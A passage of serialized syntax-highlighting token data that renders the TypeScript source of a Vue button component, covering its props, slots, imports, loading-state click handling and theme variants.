variant",[389,1069,946],{"class":690},[389,1071,853],{"class":395},[389,1073,991],{"class":729},[389,1075,878],{"class":690},[389,1077,996],{"class":399},[389,1079,878],{"class":690},[389,1081,1001],{"class":729},[389,1083,878],{"class":690},[389,1085,1086],{"class":399},"variant",[389,1088,878],{"class":690},[389,1090,1011],{"class":729},[389,1092,1094,1097,1099,1101,1103,1105,1107,1109,1111,1113,1115,1117],{"class":391,"line":1093},21,[389,1095,1096],{"class":694},"  activeVariant",[389,1098,946],{"class":690},[389,1100,853],{"class":395},[389,1102,991],{"class":729},[389,1104,878],{"class":690},[389,1106,996],{"class":399},[389,1108,878],{"class":690},[389,1110,1001],{"class":729},[389,1112,878],{"class":690},[389,1114,1086],{"class":399},[389,1116,878],{"class":690},[389,1118,1011],{"class":729},[389,1120,1122],{"class":391,"line":1121},22,[389,1123,956],{"class":955},[389,1125,1127,1129,1131,1133],{"class":391,"line":1126},23,[389,1128,962],{"class":955},[389,1130,965],{"class":719},[389,1132,969],{"class":968},[389,1134,1135],{"class":955}," 'md'\n",[389,1137,1139],{"class":391,"line":1138},24,[389,1140,978],{"class":955},[389,1142,1144,1147,1149,1151,1153,1155,1157,1159,1161,1163,1166,1168],{"class":391,"line":1143},25,[389,1145,1146],{"class":694},"  size",[389,1148,946],{"class":690},[389,1150,853],{"class":395},[389,1152,991],{"class":729},[389,1154,878],{"class":690},[389,1156,996],{"class":399},[389,1158,878],{"class":690},[389,1160,1001],{"class":729},[389,1162,878],{"class":690},[389,1164,1165],{"class":399},"size",[389,1167,878],{"class":690},[389,1169,1011],{"class":729},[389,1171,1173],{"class":391,"line":1172},26,[389,1174,1175],{"class":955},"  /** Render the button with equal padding on all sides. */\n",[389,1177,1179,1182,1184],{"class":391,"line":1178},27,[389,1180,1181],{"class":694},"  square",[389,1183,946],{"class":690},[389,1185,1186],{"class":395}," boolean\n",[389,1188,1190],{"class":391,"line":1189},28,[389,1191,1192],{"class":955},"  /** Render the button full width. */\n",[389,1194,1196,1199,1201],{"class":391,"line":1195},29,[389,1197,1198],{"class":694},"  block",[389,1200,946],{"class":690},[389,1202,1186],{"class":395},[389,1204,1206],{"class":391,"line":1205},30,[389,1207,1208],{"class":955},"  /** Set loading state automatically based on the `@click` promise state */\n",[389,1210,1212,1215,1217],{"class":391,"line":1211},31,[389,1213,1214],{"class":694},"  loadingAuto",[389,1216,946],{"class":690},[389,1218,1186],{"class":395},[389,1220,1222,1225,1227,1230,1233,1237,1240,1243,1246,1249,1252,1254,1257,1259,1262,1264,1267,1270,1273,1275,1277,1279,1281,1283,1285,1287,1289,1291,1293,1295,1297,1299,1301,1303],{"class":391,"line":1221},32,[389,1223,1224],{"class":694},"  onClick",[389,1226,946],{"class":690},[389,1228,1229],{"class":729}," (",[389,1231,1232],{"class":690},"(",[389,1234,1236],{"class":1235},"sHdIc","event",[389,1238,1239],{"class":690},":",[389,1241,1242],{"class":395}," MouseEvent",[389,1244,1245],{"class":690},")",[389,1247,1248],{"class":698}," =>",[389,1250,1251],{"class":395}," void",[389,1253,924],{"class":690},[389,1255,1256],{"class":395}," Promise",[389,1258,691],{"class":690},[389,1260,1261],{"class":395},"void",[389,1263,934],{"class":690},[389,1265,1266],{"class":729},") ",[389,1268,1269],{"class":690},"|",[389,1271,1272],{"class":395}," Array",[389,1274,691],{"class":690},[389,1276,1232],{"class":729},[389,1278,1232],{"class":690},[389,1280,1236],{"class":1235},[389,1282,1239],{"class":690},[389,1284,1242],{"class":395},[389,1286,1245],{"class":690},[389,1288,1248],{"class":698},[389,1290,1251],{"class":395},[389,1292,924],{"class":690},[389,1294,1256],{"class":395},[389,1296,691],{"class":690},[389,1298,1261],{"class":395},[389,1300,934],{"class":690},[389,1302,1245],{"class":729},[389,1304,713],{"class":690},[389,1306,1308,1311,1313],{"class":391,"line":1307},33,[389,1309,1310],{"class":694},"  class",[389,1312,946],{"class":690},[389,1314,1315],{"class":395}," any\n",[389,1317,1319,1322,1324,1326,1328,1330,1333,1335],{"class":391,"line":1318},34,[389,1320,1321],{"class":694},"  ui",[389,1323,946],{"class":690},[389,1325,853],{"class":395},[389,1327,991],{"class":729},[389,1329,878],{"class":690},[389,1331,1332],{"class":399},"slots",[389,1334,878],{"class":690},[389,1336,1011],{"class":729},[389,1338,1340],{"class":391,"line":1339},35,[389,1341,1342],{"class":690},"}\n",[389,1344,1346],{"class":391,"line":1345},36,[389,1347,844],{"emptyLinePlaceholder":251},[389,1349,1351,1353,1355,1358],{"class":391,"line":1350},37,[389,1352,891],{"class":719},[389,1354,894],{"class":698},[389,1356,1357],{"class":395}," ButtonSlots",[389,1359,937],{"class":690},[389,1361,1363,1366,1368,1371,1373,1376],{"class":391,"line":1362},38,[389,1364,1365],{"class":694},"  leading",[389,1367,1232],{"class":690},[389,1369,1370],{"class":1235},"props",[389,1372,946],{"class":690},[389,1374,1375],{"class":690}," {}):",[389,1377,1315],{"class":395},[389,1379,1381,1384,1386,1388,1390,1392],{"class":391,"line":1380},39,[389,1382,1383],{"class":694},"  default",[389,1385,1232],{"class":690},[389,1387,1370],{"class":1235},[389,1389,946],{"class":690},[389,1391,1375],{"class":690},[389,1393,1315],{"class":395},[389,1395,1397,1400,1402,1404,1406,1408],{"class":391,"line":1396},40,[389,1398,1399],{"class":694},"  trailing",[389,1401,1232],{"class":690},[389,1403,1370],{"class":1235},[389,1405,946],{"class":690},[389,1407,1375],{"class":690},[389,1409,1315],{"class":395},[389,1411,1413],{"class":391,"line":1412},41,[389,1414,1342],{"class":690},[389,1416,1418,1421,1423],{"class":391,"line":1417},42,[389,1419,1420],{"class":690},"\u003C/",[389,1422,695],{"class":694},[389,1424,713],{"class":690},[389,1426,1428],{"class":391,"line":1427},43,[389,1429,844],{"emptyLinePlaceholder":251},[389,1431,1433,1435,1437,1440,1442,1444,1446,1448,1450],{"class":391,"line":1432},44,[389,1434,691],{"class":690},[389,1436,695],{"class":694},[389,1438,1439],{"class":698}," setup",[389,1441,699],{"class":698},[389,1443,702],{"class":690},[389,1445,705],{"class":690},[389,1447,708],{"class":399},[389,1449,705],{"class":690},[389,1451,713],{"class":690},[389,1453,1455,1457,1459,1462,1464,1467,1469,1472,1474,1476,1478,1480],{"class":391,"line":1454},45,[389,1456,720],{"class":719},[389,1458,726],{"class":690},[389,1460,1461],{"class":729}," computed",[389,1463,801],{"class":690},[389,1465,1466],{"class":729}," ref",[389,1468,801],{"class":690},[389,1470,1471],{"class":729}," inject",[389,1473,733],{"class":690},[389,1475,736],{"class":719},[389,1477,739],{"class":690},[389,1479,683],{"class":399},[389,1481,745],{"class":690},[389,1483,1485,1487,1489,1491,1494,1496,1498,1500,1502],{"class":391,"line":1484},46,[389,1486,720],{"class":719},[389,1488,723],{"class":719},[389,1490,726],{"class":690},[389,1492,1493],{"class":729}," Ref",[389,1495,733],{"class":690},[389,1497,736],{"class":719},[389,1499,739],{"class":690},[389,1501,683],{"class":399},[389,1503,745],{"class":690},[389,1505,1507,1509,1511,1514,1516,1518,1520,1523],{"class":391,"line":1506},47,[389,1508,720],{"class":719},[389,1510,726],{"class":690},[389,1512,1513],{"class":729}," defu",[389,1515,733],{"class":690},[389,1517,736],{"class":719},[389,1519,739],{"class":690},[389,1521,1522],{"class":399},"defu",[389,1524,745],{"class":690},[389,1526,1528,1530,1532,1535,1537,1539,1541,1544],{"class":391,"line":1527},48,[389,1529,720],{"class":719},[389,1531,726],{"class":690},[389,1533,1534],{"class":729}," useForwardProps",[389,1536,733],{"class":690},[389,1538,736],{"class":719},[389,1540,739],{"class":690},[389,1542,1543],{"class":399},"reka-ui",[389,1545,745],{"class":690},[389,1547,1549,1551,1553,1556,1558,1560,1562,1565],{"class":391,"line":1548},49,[389,1550,720],{"class":719},[389,1552,726],{"class":690},[389,1554,1555],{"class":729}," useAppConfig",[389,1557,733],{"class":690},[389,1559,736],{"class":719},[389,1561,739],{"class":690},[389,1563,1564],{"class":399},"#imports",[389,1566,745],{"class":690},[389,1568,1570,1572,1574,1577,1579,1581,1583,1585],{"class":391,"line":1569},50,[389,1571,720],{"class":719},[389,1573,726],{"class":690},[389,1575,1576],{"class":729}," useComponentIcons",[389,1578,733],{"class":690},[389,1580,736],{"class":719},[389,1582,739],{"class":690},[389,1584,784],{"class":399},[389,1586,745],{"class":690},[389,1588,1590,1592,1594,1597,1599,1601,1603,1606],{"class":391,"line":1589},51,[389,1591,720],{"class":719},[389,1593,726],{"class":690},[389,1595,1596],{"class":729}," useButtonGroup",[389,1598,733],{"class":690},[389,1600,736],{"class":719},[389,1602,739],{"class":690},[389,1604,1605],{"class":399},"../composables/useButtonGroup",[389,1607,745],{"class":690},[389,1609,1611,1613,1615,1618,1620,1622,1624,1627],{"class":391,"line":1610},52,[389,1612,720],{"class":719},[389,1614,726],{"class":690},[389,1616,1617],{"class":729}," formLoadingInjectionKey",[389,1619,733],{"class":690},[389,1621,736],{"class":719},[389,1623,739],{"class":690},[389,1625,1626],{"class":399},"../composables/useFormField",[389,1628,745],{"class":690},[389,1630,1632,1634,1636,1639,1641,1644,1646,1648,1650,1653],{"class":391,"line":1631},53,[389,1633,720],{"class":719},[389,1635,726],{"class":690},[389,1637,1638],{"class":729}," omit",[389,1640,801],{"class":690},[389,1642,1643],{"class":729}," mergeClasses",[389,1645,733],{"class":690},[389,1647,736],{"class":719},[389,1649,739],{"class":690},[389,1651,1652],{"class":399},"../utils",[389,1654,745],{"class":690},[389,1656,1658,1660,1662,1665,1667,1669,1671,1674],{"class":391,"line":1657},54,[389,1659,720],{"class":719},[389,1661,726],{"class":690},[389,1663,1664],{"class":729}," tv",[389,1666,733],{"class":690},[389,1668,736],{"class":719},[389,1670,739],{"class":690},[389,1672,1673],{"class":399},"../utils/tv",[389,1675,745],{"class":690},[389,1677,1679,1681,1683,1686,1688,1690,1692,1695],{"class":391,"line":1678},55,[389,1680,720],{"class":719},[389,1682,726],{"class":690},[389,1684,1685],{"class":729}," pickLinkProps",[389,1687,733],{"class":690},[389,1689,736],{"class":719},[389,1691,739],{"class":690},[389,1693,1694],{"class":399},"../utils/link",[389,1696,745],{"class":690},[389,1698,1700,1702,1705,1707,1709,1712],{"class":391,"line":1699},56,[389,1701,720],{"class":719},[389,1703,1704],{"class":729}," UIcon ",[389,1706,756],{"class":719},[389,1708,739],{"class":690},[389,1710,1711],{"class":399},"./Icon.vue",[389,1713,745],{"class":690},[389,1715,1717,1719,1722,1724,1726,1729],{"class":391,"line":1716},57,[389,1718,720],{"class":719},[389,1720,1721],{"class":729}," UAvatar ",[389,1723,756],{"class":719},[389,1725,739],{"class":690},[389,1727,1728],{"class":399},"./Avatar.vue",[389,1730,745],{"class":690},[389,1732,1734,1736,1739,1741,1743,1746],{"class":391,"line":1733},58,[389,1735,720],{"class":719},[389,1737,1738],{"class":729}," ULink ",[389,1740,756],{"class":719},[389,1742,739],{"class":690},[389,1744,1745],{"class":399},"./Link.vue",[389,1747,745],{"class":690},[389,1749,1751,1753,1756,1758,1760,1763],{"class":391,"line":1750},59,[389,1752,720],{"class":719},[389,1754,1755],{"class":729}," ULinkBase ",[389,1757,756],{"class":719},[389,1759,739],{"class":690},[389,1761,1762],{"class":399},"./LinkBase.vue",[389,1764,745],{"class":690},[389,1766,1768],{"class":391,"line":1767},60,[389,1769,844],{"emptyLinePlaceholder":251},[389,1771,1773,1776,1779,1781,1785,1787,1790,1792],{"class":391,"line":1772},61,[389,1774,1775],{"class":698},"const",[389,1777,1778],{"class":729}," props ",[389,1780,702],{"class":690},[389,1782,1784],{"class":1783},"s2Zo4"," defineProps",[389,1786,691],{"class":690},[389,1788,1789],{"class":395},"ButtonProps",[389,1791,934],{"class":690},[389,1793,1794],{"class":729},"()\n",[389,1796,1798,1800,1803,1805,1808,1810,1813,1815],{"class":391,"line":1797},62,[389,1799,1775],{"class":698},[389,1801,1802],{"class":729}," slots ",[389,1804,702],{"class":690},[389,1806,1807],{"class":1783}," defineSlots",[389,1809,691],{"class":690},[389,1811,1812],{"class":395},"ButtonSlots",[389,1814,934],{"class":690},[389,1816,1794],{"class":729},[389,1818,1820],{"class":391,"line":1819},63,[389,1821,844],{"emptyLinePlaceholder":251},[389,1823,1825,1827,1830,1832,1834,1837,1840,1842,1844,1846,1849,1851],{"class":391,"line":1824},64,[389,1826,1775],{"class":698},[389,1828,1829],{"class":729}," appConfig ",[389,1831,702],{"class":690},[389,1833,1555],{"class":1783},[389,1835,1836],{"class":729},"() ",[389,1838,1839],{"class":719},"as",[389,1841,853],{"class":395},[389,1843,991],{"class":729},[389,1845,878],{"class":690},[389,1847,1848],{"class":399},"AppConfig",[389,1850,878],{"class":690},[389,1852,1011],{"class":729},[389,1854,1856,1858,1860,1863,1865,1868,1870,1873,1876,1878,1880,1882,1884,1886],{"class":391,"line":1855},65,[389,1857,1775],{"class":698},[389,1859,726],{"class":690},[389,1861,1862],{"class":729}," orientation",[389,1864,801],{"class":690},[389,1866,1867],{"class":694}," size",[389,1869,1239],{"class":690},[389,1871,1872],{"class":729}," buttonSize ",[389,1874,1875],{"class":690},"}",[389,1877,856],{"class":690},[389,1879,1596],{"class":1783},[389,1881,691],{"class":690},[389,1883,1789],{"class":395},[389,1885,934],{"class":690},[389,1887,1888],{"class":729},"(props)\n",[389,1890,1892],{"class":391,"line":1891},66,[389,1893,844],{"emptyLinePlaceholder":251},[389,1895,1897,1899,1902,1904,1906,1908,1911],{"class":391,"line":1896},67,[389,1898,1775],{"class":698},[389,1900,1901],{"class":729}," linkProps ",[389,1903,702],{"class":690},[389,1905,1534],{"class":1783},[389,1907,1232],{"class":729},[389,1909,1910],{"class":1783},"pickLinkProps",[389,1912,1913],{"class":729},"(props))\n",[389,1915,1917],{"class":391,"line":1916},68,[389,1918,844],{"emptyLinePlaceholder":251},[389,1920,1922,1924,1927,1929,1931,1933,1937],{"class":391,"line":1921},69,[389,1923,1775],{"class":698},[389,1925,1926],{"class":729}," loadingAutoState ",[389,1928,702],{"class":690},[389,1930,1466],{"class":1783},[389,1932,1232],{"class":729},[389,1934,1936],{"class":1935},"sfNiH","false",[389,1938,1939],{"class":729},")\n",[389,1941,1943,1945,1948,1950,1952,1954,1957,1959,1962,1964,1966,1969,1971,1974,1976,1978],{"class":391,"line":1942},70,[389,1944,1775],{"class":698},[389,1946,1947],{"class":729}," formLoading ",[389,1949,702],{"class":690},[389,1951,1471],{"class":1783},[389,1953,691],{"class":690},[389,1955,1956],{"class":395},"Ref",[389,1958,691],{"class":690},[389,1960,1961],{"class":395},"boolean",[389,1963,934],{"class":690},[389,1965,924],{"class":690},[389,1967,1968],{"class":395}," undefined",[389,1970,934],{"class":690},[389,1972,1973],{"class":729},"(formLoadingInjectionKey",[389,1975,801],{"class":690},[389,1977,1968],{"class":690},[389,1979,1939],{"class":729},[389,1981,1983],{"class":391,"line":1982},71,[389,1984,844],{"emptyLinePlaceholder":251},[389,1986,1988,1991,1994,1997,1999,2001,2003,2005,2007],{"class":391,"line":1987},72,[389,1989,1990],{"class":698},"async",[389,1992,1993],{"class":698}," function",[389,1995,1996],{"class":1783}," onClickWrapper",[389,1998,1232],{"class":690},[389,2000,1236],{"class":1235},[389,2002,1239],{"class":690},[389,2004,1242],{"class":395},[389,2006,1245],{"class":690},[389,2008,937],{"class":690},[389,2010,2012,2015,2018,2021,2023],{"class":391,"line":2011},73,[389,2013,2014],{"class":729},"  loadingAutoState",[389,2016,2017],{"class":690},".",[389,2019,2020],{"class":729},"value",[389,2022,856],{"class":690},[389,2024,2025],{"class":1935}," true\n",[389,2027,2029,2032,2035,2037,2039,2041,2044,2046,2048,2050,2053,2055,2058,2061,2063,2065,2068,2071,2073,2075,2077],{"class":391,"line":2028},74,[389,2030,2031],{"class":698},"  const",[389,2033,2034],{"class":729}," callbacks",[389,2036,856],{"class":690},[389,2038,1272],{"class":729},[389,2040,2017],{"class":690},[389,2042,2043],{"class":1783},"isArray",[389,2045,1232],{"class":694},[389,2047,1370],{"class":729},[389,2049,2017],{"class":690},[389,2051,2052],{"class":729},"onClick",[389,2054,1266],{"class":694},[389,2056,2057],{"class":690},"?",[389,2059,2060],{"class":729}," props",[389,2062,2017],{"class":690},[389,2064,2052],{"class":729},[389,2066,2067],{"class":690}," :",[389,2069,2070],{"class":694}," [",[389,2072,1370],{"class":729},[389,2074,2017],{"class":690},[389,2076,2052],{"class":729},[389,2078,1011],{"class":694},[389,2080,2082,2085],{"class":391,"line":2081},75,[389,2083,2084],{"class":719},"  try",[389,2086,937],{"class":690},[389,2088,2090,2093,2095,2097,2100,2102,2105,2107,2110,2112,2115,2117,2120,2123,2125,2127],{"class":391,"line":2089},76,[389,2091,2092],{"class":719},"    await",[389,2094,1256],{"class":395},[389,2096,2017],{"class":690},[389,2098,2099],{"class":1783},"all",[389,2101,1232],{"class":694},[389,2103,2104],{"class":729},"callbacks",[389,2106,2017],{"class":690},[389,2108,2109],{"class":1783},"map",[389,2111,1232],{"class":694},[389,2113,2114],{"class":1235},"fn",[389,2116,1248],{"class":698},[389,2118,2119],{"class":1783}," fn",[389,2121,2122],{"class":690},"?.",[389,2124,1232],{"class":694},[389,2126,1236],{"class":729},[389,2128,2129],{"class":694},")))\n",[389,2131,2133,2136,2139],{"class":391,"line":2132},77,[389,2134,2135],{"class":690},"  }",[389,2137,2138],{"class":719}," finally",[389,2140,937],{"class":690},[389,2142,2144,2147,2149,2151,2153],{"class":391,"line":2143},78,[389,2145,2146],{"class":729},"    loadingAutoState",[389,2148,2017],{"class":690},[389,2150,2020],{"class":729},[389,2152,856],{"class":690},[389,2154,2155],{"class":1935}," false\n",[389,2157,2159],{"class":391,"line":2158},79,[389,2160,2161],{"class":690},"  }\n",[389,2163,2165],{"class":391,"line":2164},80,[389,2166,1342],{"class":690},[389,2168,2170],{"class":391,"line":2169},81,[389,2171,844],{"emptyLinePlaceholder":251},[389,2173,2175,2177,2180,2182,2184,2186,2189,2191],{"class":391,"line":2174},82,[389,2176,1775],{"class":698},[389,2178,2179],{"class":729}," isLoading ",[389,2181,702],{"class":690},[389,2183,1461],{"class":1783},[389,2185,1232],{"class":729},[389,2187,2188],{"class":690},"()",[389,2190,1248],{"class":698},[389,2192,937],{"class":690},[389,2194,2196,2199,2201,2203,2206,2209,2211,2213,2215,2218,2221,2223,2226,2228,2230,2232,2234,2237,2239,2241,2243,2245,2247,2249,2252,2254,2257,2259],{"class":391,"line":2195},83,[389,2197,2198],{"class":719},"  return",[389,2200,2060],{"class":729},[389,2202,2017],{"class":690},[389,2204,2205],{"class":729},"loading",[389,2207,2208],{"class":690}," ||",[389,2210,1229],{"class":694},[389,2212,1370],{"class":729},[389,2214,2017],{"class":690},[389,2216,2217],{"class":729},"loadingAuto",[389,2219,2220],{"class":690}," &&",[389,2222,1229],{"class":694},[389,2224,2225],{"class":729},"loadingAutoState",[389,2227,2017],{"class":690},[389,2229,2020],{"class":729},[389,2231,2208],{"class":690},[389,2233,1229],{"class":694},[389,2235,2236],{"class":729},"formLoading",[389,2238,2122],{"class":690},[389,2240,2020],{"class":729},[389,2242,2220],{"class":690},[389,2244,2060],{"class":729},[389,2246,2017],{"class":690},[389,2248,850],{"class":729},[389,2250,2251],{"class":690}," ===",[389,2253,739],{"class":690},[389,2255,2256],{"class":399},"submit",[389,2258,878],{"class":690},[389,2260,2129],{"class":694},[389,2262,2264,2266],{"class":391,"line":2263},84,[389,2265,1875],{"class":690},[389,2267,1939],{"class":729},[389,2269,2271],{"class":391,"line":2270},85,[389,2272,844],{"emptyLinePlaceholder":251},[389,2274,2276,2278,2280,2283,2285,2288,2290,2293,2295,2298,2300,2302,2304],{"class":391,"line":2275},86,[389,2277,1775],{"class":698},[389,2279,726],{"class":690},[389,2281,2282],{"class":729}," isLeading",[389,2284,801],{"class":690},[389,2286,2287],{"class":729}," isTrailing",[389,2289,801],{"class":690},[389,2291,2292],{"class":729}," leadingIconName",[389,2294,801],{"class":690},[389,2296,2297],{"class":729}," trailingIconName ",[389,2299,1875],{"class":690},[389,2301,856],{"class":690},[389,2303,1576],{"class":1783},[389,2305,2306],{"class":729},"(\n",[389,2308,2310,2313,2315,2317,2319,2321,2324,2327,2329,2331,2334,2336,2339,2341,2344,2346],{"class":391,"line":2309},87,[389,2311,2312],{"class":1783},"  computed",[389,2314,1232],{"class":729},[389,2316,2188],{"class":690},[389,2318,1248],{"class":698},[389,2320,1229],{"class":729},[389,2322,2323],{"class":690},"{",[389,2325,2326],{"class":690}," ...",[389,2328,1370],{"class":729},[389,2330,801],{"class":690},[389,2332,2333],{"class":694}," loading",[389,2335,1239],{"class":690},[389,2337,2338],{"class":729}," isLoading",[389,2340,2017],{"class":690},[389,2342,2343],{"class":729},"value ",[389,2345,1875],{"class":690},[389,2347,2348],{"class":729},"))\n",[389,2350,2352],{"class":391,"line":2351},88,[389,2353,1939],{"class":729},[389,2355,2357],{"class":391,"line":2356},89,[389,2358,844],{"emptyLinePlaceholder":251},[389,2360,2362,2364,2367,2369,2371,2373,2375,2377,2379,2381],{"class":391,"line":2361},90,[389,2363,1775],{"class":698},[389,2365,2366],{"class":729}," ui ",[389,2368,702],{"class":690},[389,2370,1461],{"class":1783},[389,2372,1232],{"class":729},[389,2374,2188],{"class":690},[389,2376,1248],{"class":698},[389,2378,1664],{"class":1783},[389,2380,1232],{"class":729},[389,2382,2383],{"class":690},"{\n",[389,2385,2387,2390,2392,2394,2397],{"class":391,"line":2386},91,[389,2388,2389],{"class":694},"  extend",[389,2391,1239],{"class":690},[389,2393,1664],{"class":1783},[389,2395,2396],{"class":729},"(theme)",[389,2398,2399],{"class":690},",\n",[389,2401,2403,2406,2408,2410],{"class":391,"line":2402},92,[389,2404,2405],{"class":690},"  ...",[389,2407,1522],{"class":1783},[389,2409,1232],{"class":729},[389,2411,2383],{"class":690},[389,2413,2415,2418,2420],{"class":391,"line":2414},93,[389,2416,2417],{"class":694},"    variants",[389,2419,1239],{"class":690},[389,2421,937],{"class":690},[389,2423,2425,2428,2430],{"class":391,"line":2424},94,[389,2426,2427],{"class":694},"      active",[389,2429,1239],{"class":690},[389,2431,937],{"class":690},[389,2433,2435,2438,2440],{"class":391,"line":2434},95,[389,2436,2437],{"class":694},"        true",[389,2439,1239],{"class":690},[389,2441,937],{"class":690},[389,2443,2445,2448,2450,2452,2455,2457,2460,2462,2464,2466,2468,2470,2473,2475,2478,2480,2483,2485,2487,2489],{"class":391,"line":2444},96,[389,2446,2447],{"class":694},"          base",[389,2449,1239],{"class":690},[389,2451,1643],{"class":1783},[389,2453,2454],{"class":729},"(appConfig",[389,2456,2017],{"class":690},[389,2458,2459],{"class":729},"ui",[389,2461,2122],{"class":690},[389,2463,875],{"class":729},[389,2465,2122],{"class":690},[389,2467,996],{"class":729},[389,2469,2122],{"class":690},[389,2471,2472],{"class":729},"active",[389,2474,2122],{"class":690},[389,2476,2477],{"class":729},"true",[389,2479,2122],{"class":690},[389,2481,2482],{"class":729},"base",[389,2484,801],{"class":690},[389,2486,2060],{"class":729},[389,2488,2017],{"class":690},[389,2490,2491],{"class":729},"activeClass)\n",[389,2493,2495],{"class":391,"line":2494},97,[389,2496,2497],{"class":690},"        },\n",[389,2499,2501,2504,2506],{"class":391,"line":2500},98,[389,2502,2503],{"class":694},"        false",[389,2505,1239],{"class":690},[389,2507,937],{"class":690},[389,2509,2511,2513,2515,2517,2519,2521,2523,2525,2527,2529,2531,2533,2535,2537,2539,2541,2543,2545,2547,2549],{"class":391,"line":2510},99,[389,2512,2447],{"class":694},[389,2514,1239],{"class":690},[389,2516,1643],{"class":1783},[389,2518,2454],{"class":729},[389,2520,2017],{"class":690},[389,2522,2459],{"class":729},[389,2524,2122],{"class":690},[389,2526,875],{"class":729},[389,2528,2122],{"class":690},[389,2530,996],{"class":729},[389,2532,2122],{"class":690},[389,2534,2472],{"class":729},[389,2536,2122],{"class":690},[389,2538,1936],{"class":729},[389,2540,2122],{"class":690},[389,2542,2482],{"class":729},[389,2544,801],{"class":690},[389,2546,2060],{"class":729},[389,2548,2017],{"class":690},[389,2550,2551],{"class":729},"inactiveClass)\n",[389,2553,2555],{"class":391,"line":2554},100,[389,2556,2557],{"class":690},"        }\n",[389,2559,2561],{"class":391,"line":2560},101,[389,2562,2563],{"class":690},"      }\n",[389,2565,2567],{"class":391,"line":2566},102,[389,2568,2569],{"class":690},"    }\n",[389,2571,2573,2576,2579,2581,2583,2585,2588,2591,2594],{"class":391,"line":2572},103,[389,2574,2575],{"class":690},"  },",[389,2577,2578],{"class":729}," appConfig",[389,2580,2017],{"class":690},[389,2582,2459],{"class":729},[389,2584,2122],{"class":690},[389,2586,2587],{"class":729},"button ",[389,2589,2590],{"class":690},"||",[389,2592,2593],{"class":690}," {}",[389,2595,1939],{"class":729},[389,2597,2599,2601,2604],{"class":391,"line":2598},104,[389,2600,1875],{"class":690},[389,2602,2603],{"class":729},")(",[389,2605,2383],{"class":690},[389,2607,2609,2611,2613,2615,2617,2619],{"class":391,"line":2608},105,[389,2610,984],{"class":694},[389,2612,1239],{"class":690},[389,2614,2060],{"class":729},[389,2616,2017],{"class":690},[389,2618,1006],{"class":729},[389,2620,2399],{"class":690},[389,2622,2624,2626,2628,2630,2632,2634],{"class":391,"line":2623},106,[389,2625,1067],{"class":694},[389,2627,1239],{"class":690},[389,2629,2060],{"class":729},[389,2631,2017],{"class":690},[389,2633,1086],{"class":729},[389,2635,2399],{"class":690},[389,2637,2639,2641,2643,2646,2648,2650],{"class":391,"line":2638},107,[389,2640,1146],{"class":694},[389,2642,1239],{"class":690},[389,2644,2645],{"class":729}," buttonSize",[389,2647,2017],{"class":690},[389,2649,2020],{"class":729},[389,2651,2399],{"class":690},[389,2653,2655,2658,2660,2662,2664,2666],{"class":391,"line":2654},108,[389,2656,2657],{"class":694},"  loading",[389,2659,1239],{"class":690},[389,2661,2338],{"class":729},[389,2663,2017],{"class":690},[389,2665,2020],{"class":729},[389,2667,2399],{"class":690},[389,2669,2671,2673,2675,2677,2679,2682],{"class":391,"line":2670},109,[389,2672,1198],{"class":694},[389,2674,1239],{"class":690},[389,2676,2060],{"class":729},[389,2678,2017],{"class":690},[389,2680,2681],{"class":729},"block",[389,2683,2399],{"class":690},[389,2685,2687,2689,2691,2693,2695,2698,2700,2702,2705,2707,2709,2712,2715,2718,2720,2722,2725],{"class":391,"line":2686},110,[389,2688,1181],{"class":694},[389,2690,1239],{"class":690},[389,2692,2060],{"class":729},[389,2694,2017],{"class":690},[389,2696,2697],{"class":729},"square ",[389,2699,2590],{"class":690},[389,2701,1229],{"class":729},[389,2703,2704],{"class":690},"!",[389,2706,1332],{"class":729},[389,2708,2017],{"class":690},[389,2710,2711],{"class":729},"default ",[389,2713,2714],{"class":690},"&&",[389,2716,2717],{"class":690}," !",[389,2719,1370],{"class":729},[389,2721,2017],{"class":690},[389,2723,2724],{"class":729},"label)",[389,2726,2399],{"class":690},[389,2728,2730,2732,2734,2736,2738,2740],{"class":391,"line":2729},111,[389,2731,1365],{"class":694},[389,2733,1239],{"class":690},[389,2735,2282],{"class":729},[389,2737,2017],{"class":690},[389,2739,2020],{"class":729},[389,2741,2399],{"class":690},[389,2743,2745,2747,2749,2751,2753,2755],{"class":391,"line":2744},112,[389,2746,1399],{"class":694},[389,2748,1239],{"class":690},[389,2750,2287],{"class":729},[389,2752,2017],{"class":690},[389,2754,2020],{"class":729},[389,2756,2399],{"class":690},[389,2758,2760,2763,2765,2767,2769],{"class":391,"line":2759},113,[389,2761,2762],{"class":694},"  buttonGroup",[389,2764,1239],{"class":690},[389,2766,1862],{"class":729},[389,2768,2017],{"class":690},[389,2770,2771],{"class":729},"value\n",[389,2773,2775,2777],{"class":391,"line":2774},114,[389,2776,1875],{"class":690},[389,2778,2348],{"class":729},[389,2780,2782,2784,2786],{"class":391,"line":2781},115,[389,2783,1420],{"class":690},[389,2785,695],{"class":694},[389,2787,713],{"class":690},[389,2789,2791],{"class":391,"line":2790},116,[389,2792,844],{"emptyLinePlaceholder":251},[389,2794,2796,2798,2801],{"class":391,"line":2795},117,[389,2797,691],{"class":690},[389,2799,2800],{"class":694},"template",[389,2802,713],{"class":690},[389,2804,2806,2809],{"class":391,"line":2805},118,[389,2807,2808],{"class":690},"  \u003C",[389,2810,2811],{"class":694},"ULink\n",[389,2813,2815,2818,2820,2822,2825,2827,2830,2833,2835],{"class":391,"line":2814},119,[389,2816,2817],{"class":698},"    v-slot",[389,2819,702],{"class":690},[389,2821,705],{"class":690},[389,2823,2824],{"class":690},"{ ",[389,2826,2472],{"class":729},[389,2828,2829],{"class":690},", ...",[389,2831,2832],{"class":729},"slotProps",[389,2834,733],{"class":690},[389,2836,2837],{"class":690},"\"\n",[389,2839,2841,2844,2846,2848,2850,2852],{"class":391,"line":2840},120,[389,2842,2843],{"class":690},"    :",[389,2845,850],{"class":698},[389,2847,702],{"class":690},[389,2849,705],{"class":690},[389,2851,850],{"class":729},[389,2853,2837],{"class":690},[389,2855,2857,2859,2862,2864,2866,2868,2871,2874],{"class":391,"line":2856},121,[389,2858,2843],{"class":690},[389,2860,2861],{"class":698},"disabled",[389,2863,702],{"class":690},[389,2865,705],{"class":690},[389,2867,2861],{"class":729},[389,2869,2870],{"class":690}," || ",[389,2872,2873],{"class":729},"isLoading",[389,2875,2837],{"class":690},[389,2877,2879,2882,2884,2886,2889,2891,2894,2897,2899,2901,2903,2906,2908,2910,2912,2914,2916,2918,2920,2923],{"class":391,"line":2878},122,[389,2880,2881],{"class":698},"    v-bind",[389,2883,702],{"class":690},[389,2885,705],{"class":690},[389,2887,2888],{"class":1783},"omit",[389,2890,1232],{"class":690},[389,2892,2893],{"class":729},"linkProps",[389,2895,2896],{"class":690},", 